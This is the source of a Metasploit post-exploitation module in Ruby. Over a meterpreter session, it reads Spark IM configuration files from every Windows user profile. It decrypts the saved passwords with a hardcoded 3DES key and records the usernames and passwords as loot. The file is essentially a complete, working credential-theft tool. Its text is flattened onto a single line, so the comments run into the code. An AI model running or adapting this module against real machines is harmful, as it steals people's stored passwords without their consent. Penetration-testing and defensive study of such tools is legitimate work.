## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/user_profiles' require 'openssl' class Metasploit3 < Msf::Post include Msf::Post::Common include Msf::Post::Windows::UserProfiles def initialize(info={}) super(update_info(info, 'Name' => 'Windows Gather Spark IM Password Extraction', 'Description' => %q{ This module will enumerate passwords stored by the Spark IM client. The encryption key is publicly known. This module will not only extract encrypted password but will also decrypt password using public key. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon McCann "zeknox" ', 'Thomas McCarthy "smilingraccoon" ' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => [ [ 'URL', 'http://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/'] ] )) end # decrypt spark password def decrypt(hash) # code to decrypt hash with KEY encrypted = hash.unpack("m")[0] key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0] cipher = OpenSSL::Cipher::Cipher.new 'des-ede3' cipher.decrypt cipher.key = key password = cipher.update encrypted password << cipher.final password = ::Rex::Text.to_utf8(password) user, pass = password.scan(/[[:print:]]+/) if pass.nil? or pass.empty? print_status("Username found: #{user}, but no password") pass = '' else print_good("Decrypted Username #{user} Password: #{pass}") end store_creds(user, pass) end def store_creds(user, pass) if db report_auth_info( :host => client.sock.peerhost, :port => 5222, :ptype => 'password', :sname => 'spark', :user => user, :pass => pass, :duplicate_ok => true, :active => true ) print_status("Loot stored in the db") end end # main control method def run grab_user_profiles().each do |user| unless user['AppData'].nil? accounts = user['AppData'] + "\\Spark\\spark.properties" # open the file for reading config = client.fs.file.new(accounts, 'r') rescue nil next if config.nil? print_status("Config found for user #{user['UserName']}") # read the contents of file contents = config.read # look for lines containing string 'password' password = contents.split("\n").grep(/password/) if password.nil? # file doesn't contain a password print_status("#{file} does not contain any saved passwords") # close file and return config.close return end # store the hash close the file password = password.delete_if {|e| e !~ /password.+=.+=\r/} password.each do | pass | if pass.nil? next end hash = pass.split("password").join.chomp print_status("Spark password hash: #{hash}") if datastore['VERBOSE'] # call method to decrypt hash decrypt(hash) end config.close end end end end